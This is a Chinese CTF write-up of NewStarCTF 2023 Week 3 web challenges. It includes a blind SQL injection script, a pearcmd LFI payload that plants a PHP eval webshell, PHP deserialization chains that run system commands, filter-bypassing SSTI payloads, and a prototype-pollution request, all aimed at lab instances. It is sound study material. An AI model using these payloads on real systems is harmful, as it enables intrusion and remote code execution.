[wp]NewStarCTF 2023 WEEK3|WEB

这篇具有很好参考价值的文章主要介绍了[wp]NewStarCTF 2023 WEEK3|WEB。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

WEEK3|WEB(5/6)

medium_sql

Sqlmap一把梭 (部分能直接 flag' 部分出现flag不完整 或者部分爆不到表 等官方wp)

在week1的基础上,多过滤了union。

验证存在布尔盲注:

?id=TMP0919' And if(1>0,1,0)#

?id=TMP0919' And if(0>1,1,0)#

发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。

盲注脚本,用二分查找。(不会二分查找也没事,可以尝试自己写,反正初学别用sqlmap)

import requests
def condition(res):
    if 'Physics' in res.text:
        return True
    return False
result = ''
_url = 'http://574acc4c-77b6-4ebe-8f29-28c546083e86.node4.buuoj.cn:81/'
import time
for _time in range(1,1000):
    print("time:%d" % (_time))
    left = 32
    right = 128
    while (right > left):
        mid = (left + right) // 2
        # 获取当前库表名
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
        url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
        # 获取字段名
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
        # 获取字段值
        time.sleep(0.2)
        res = requests.get(url=url)
        if (condition(res)):
            result += chr(mid)
            print(result)
            break
        else:
            # 获取当前库表名
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
            # 获取字段名
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"            
            # 获取字段值
            url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
            res = requests.get(url=url)
            if (condition(res)):
                left = mid
            else:
                right = mid

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

Include

题目提示了LFI to RCE,以及源码中提示了让你访问phpinfo

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

查找flag发现让你check register_argc_argv

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

那我们找到register_argc_argv 这个选项

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

为 on 这里就涉及LFI包含 pearcmd命令执行学习

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

具体知识可以访问

LFI包含pearcmd命令执行学习 - Yu_so1dier0n - 博客园 (cnblogs.com)

https://www.cnblogs.com/Yu--/p/15788689.html

具体利用方式上边讲的很详细 我们直接做这道题 因为这道题我觉得应该是不出网访问,我们利用不出网的方式进行构造

首先写入带有一句话木马的ha.php写入到根目入 你也可放其他的

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

然后访问网址 像这种

Payload:?file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['a'])?>+./ha.php

(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参)这个特别重要 我就是这里改少了 导致后边做不了

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

然后我们直接访问./ha (我这里的ha.php文件是创建再根目录的,所以要加./)

题目源码解析自动带php 然后直接进行rce

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

连接yijian也可也

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

POP Gadget

首先明白一个点

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

代码审计 以及payload构造:

<?php





class Begin{

    public $name;

    public function __destruct()

    {

        if(preg_match("/[a-zA-Z0-9]/",$this->name)){

            echo "Hello";

        }else{

            echo "Welcome to NewStarCTF 2023!";

        }

    }

}



class Then{

    private $func;

    public function __construct()

    {

        $a=new Super();

        $this->func=$a;

    }//构造一个构造方法 来进行触发Super里面的__invoke()魔术方法  因为private()函数原因 类的内部能够访问 但外部不能访问

    public function __toString()

    {

        ($this->func)();

        return "Good Job!";

    }



}



class Handle{

    protected $obj;



    public function __construct()

    {

        $this->obj=new CTF();

    }//构造一个构造方法 进入CTF的内部 因为protected()函数原因 子类能够访问 但外部不能访问



    public function __call($func, $vars)

    {

        $this->obj->end();

    }



}



class Super{

    protected $obj;

    public function __construct()

    {

        $this->obj=new Handle();

    } //构造一个构造方法 来进行触发Handle里面的__call()魔术方法  因为protected()函数原因 子类能够访问 但外部不能访问

    public function __invoke()

    {

        $this->obj->getStr();

    }



    public function end()

    {

        die("==GAME OVER==");

    }

}



class CTF{

    public $handle;



    public function __construct()

    {

        $b=new WhiteGod();

        $this->handle=$b;

    }    //自己创建构造函数 来触发下面的__unset()魔术方法



    public function end()

    {

        unset($this->handle->log);

    }



}



class WhiteGod{

    public $func='system'; //赋值来构造命令执行

    public $var='ls /';



    public function __unset($var)

    {

        ($this->func)($this->var); //出口函数 采用传参的拼接 可以执行命令执行漏洞

    }

}

//pop链:__construct()->__tostring()->__invoke()->__call()->CTF()->__unset



$k=new Begin(); //创建对象自动销毁触发__construct()魔术方法

$k->name=new Then(); //触发__tostring()魔术方法

echo urlencode(serialize($k)); //url编码可以绕过私有属性和保护属性 或者采用%00来替补

然后发现了flag之后修改命令参数获得flag

最终Payload:

O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

这里说明一点:这里我采用的是%00来补因为私有和被保护的变量序列化的值 最好的方法是采用urlencode来解决

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

R!!!C!!!E!!!

这道题跟ctfshow web 136题相似 就是过滤条件不同 这道题也算是卡了特别久,但最终跟朋友一起讨论还是找出了方法 就是采用 ls / | t’’ee a的方法进行查看

类似这种

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

序列化字符串很简单 直接触发tostring就可以了

我们直接给代码

<?php

class minipop{

    public $code="ls / | t''ee b";

    public $qwejaskdjnlka;



}

$a=new minipop();

$b= new minipop(); //调用两次
$b->qwejaskdjnlka=$a;



echo serialize($b);

?>

Payload:

O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";N;}}

(讲个坑 因为之前做tee命令习惯把它转为b.txt这种 但.被过滤 导致卡了有点时间 这里b就行)

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

看到flag文件 然后也是一样的方法

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

Paylaod:

O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee b";s:13:"qwejaskdjnlka";N;}}

按照上边的先传在访问就行了 得到flag

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

GenShin

发现文件路径 访问得到要你对name传参

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

那我们传 得到的就是一个回显admin 你穿什么就得到什么 首先想到 的是伪协议读取 但文件路径没给 经过测试还是失败了 那我们试试目录穿越 也失败了 那就在想 传什么得到什么 wee3了 应该可用尝试ssti注入,经过测试发现很多符号被ban了 然后查找资料发现下篇文章跟这个题目很相似 0很有用

从[2020安洵杯]赛后以及近期遇到的SSTI总结 – yyz の blog

我们使用以下命令测试

{%print(7*7)%}

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全 [wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

出现49 说明成功了 我们看下config配置 看看key

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

没有,那考点应该不是爆破 查看一下子类

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

那我们找可利用的模块就行了 查找<class 'os._wrap_close'>

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

输入查找就饿可以查看位置了

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

这样的话我们可以使用__init__方法再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,但这里init被过滤我们采用’’+’’进行绕过 即in’’+’’it

Payload:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全 [wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

然后找到了eval 然后我们可按照下面这样来构造命令

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

但是popen被过滤 但是我们可用采用chr编码进行绕过 就是

__import__('os').popen('ls /').read()进行chr编码,但我们还是要执行这个函数

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

所以我们可用使用eval 就是eval(__import__('os').popen('ls /').read())

所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码就行

别问我为什么不用uni编码  因为不成功....

最终paylaod:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

得到flag

[wp]NewStarCTF 2023 WEEK3|WEB,writeup,CTF,web安全

OtenkiGirl

不会 等官方wp再补充

官方wp

  • 考点:JavaScript 原型链污染(__proto__
  • FLAG:动态FLAG
  • 解题步骤

特地写了篇文章试图讲清楚 JavaScript 原型链:https://www.yuque.com/cnily03/tech/js-prototype-pollution

随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:

  • 获取全部信息

POST /info/0 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

可以改变0的值就是获取到指定时间戳之后的信息

  • 提交信息

POST /submit HTTP/1.1

Content-Type: application/json

提交信息必须为 JSON 格式,contactreason字段是必须的,例如

POST /submit HTTP/1.1

Content-Type: application/json

{

"contact": "test",

"reason": "test"

}

响应

HTTP/1.1 200 OK

connection: close

content-length: 159

content-type: application/json; charset=utf-8

date: Sun, 24 Sep 2023 07:09:54 GMT

server: openresty

{

"status": "success",

"data": {

"wishid": "2Tn69Yq5hBbTwLdihWZfdKVF",

"date": "unknown",

"place": "unknown",

"contact": "test",

"reason": "test",

"timestamp": 1695539394820

}

}

查看routes/info.js源码,考察从数据库中获取数据的函数getInfo

async function getInfo(timestamp) {

timestamp = typeof timestamp === "number" ? timestamp : Date.now();

// Remove test data from before the movie was released

let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();

timestamp = Math.max(timestamp, minTimestamp);

const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });

return data;

}

其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time

考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

查看routes/submit.js源码,发现注入点

const merge = (dst, src) => {

if (typeof dst !== "object" || typeof src !== "object") return dst;

for (let key in src) {

if (key in dst && key in src) {

dst[key] = merge(dst[key], src[key]);

} else {

dst[key] = src[key];

}

}

return dst;

}

const result = await insert2db(merge(DEFAULT, data));

其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']的值即可

于是构造payload

POST /submit HTTP/1.1

Content-Type: application/json

{

"contact": "test",

"reason": "test",

"__proto__": {

"min_public_time": "1001-01-01"

}

}000000

然后为我们再请求/info/0,就能得到更多的数据,其中一条是

{

"wishid": "L6VFppr6GDqYPELMGTNTeNZ6",

"date": "2021-09-27",

"place": "学園都市",

"contact": "御坂美琴",

"reason": "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}です",

"timestamp": 1190726040113

}

得到 flag

flag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}

注意:在提交 payload 的请求后直接刷新网页并不会获取到上面的数据,这是因为网页启用了缓存,会发送本地缓存中最晚时间的info请求。如果想要通过刷新网页获取数据,只需要在开发者工具 -> 应用程序 -> 存储中清除网站数据然后刷新网页即可。文章来源地址https://www.toymoban.com/news/detail-713593.html

到了这里,关于[wp]NewStarCTF 2023 WEEK3|WEB的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • NewStarCTF 2022 web方向题解 wp

    先看题目,要传参加绕过。 分析一下代码:首先get一个data= data://test/plain, Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被 # 注释了,我们需要通过换行 %0a 来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’); 看看题干,伪随机数工具。 分析一下代

    2024年02月11日
    浏览(36)
  • 2023陕西省大学生信息安全竞赛web writeup

    早写好了,忘发了,题目质量还行,够我坐大牢 简单的反序列化,exp如下 传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样 preg_replace采用了/e的模式,很明显有rce漏洞,简

    2024年02月07日
    浏览(50)
  • [CTF]2022美团CTF WEB WP

    最终排名 源码 由上源码可知想要造成pickle反序列化需要两步: 1.得到secret_key 2.绕过黑名单造成pickle反序列化漏洞 那么先来实现第一步: app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3 从这里知道,想要爆破key其实并不难,可以自己试试 那

    2024年02月06日
    浏览(48)
  • 0xGame week4-WEB wp

    完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。 0xGame虽然也没做出来几道(大嘘),但是 一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~ 来看最后一周,全是java框架,麻了。 整体不难,hint把解题方法基本写脸上

    2024年02月05日
    浏览(69)
  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全

    团队名称:ZhangSan 序号:11 不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~ 简单记录一下,实际做题踩坑很多,尝试很多。 先扫了个目录,扫出 start.sh 内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。 开始做题,题目让我访问路由 /

    2024年02月10日
    浏览(41)
  • [NewStarCTF 2023] web题解

    打开题目,提示有敏感信息泄露 直接扫一下目录,发现有 ./www.zip 访问然后下载下来,解压到桌面 源码和robots.txt分别是两部分flag 右键看下源码,发现对上传文件后缀名有检测 这里的检测是后缀名只需要出现合法的就行 我们上传1.jpg的一句话木马 然后抓包修改文件名为 1.

    2024年02月05日
    浏览(32)
  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(45)
  • [第七届蓝帽杯全国大学生网络安全技能大赛 蓝帽杯 2023]——Web方向部分题 详细Writeup

    你真的熟悉PHP吗? 源码如下 首先要先解决传参 my_secret.flag 根据php解析特性,如果字符串中存在 [、. 等符号,php会将其转换为 _ 且只转换一次 ,因此我们直接构造 my_secret.flag 的话,最后php执行的是 my_secret_flag ,因此我们将前面的 _ 用 [ 代替,也就是传参的时候传参为 my[s

    2024年02月10日
    浏览(45)
  • 2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

    总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。 目录 EZPOP  RCE unserialize 首先来到页面   点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。 先打开一个空白页,再f12,

    2024年02月10日
    浏览(50)
  • 2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

    终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 看到是SSTI,焚靖直接一把梭了。 瞎了,执行 ls / 时候flag文件在命令旁边没看见,find命令找了好久呜呜

    2024年02月07日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包